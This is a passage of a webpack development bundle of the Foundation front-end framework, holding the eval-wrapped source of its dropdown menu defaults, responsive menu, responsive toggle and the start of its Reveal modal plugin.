*/\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n 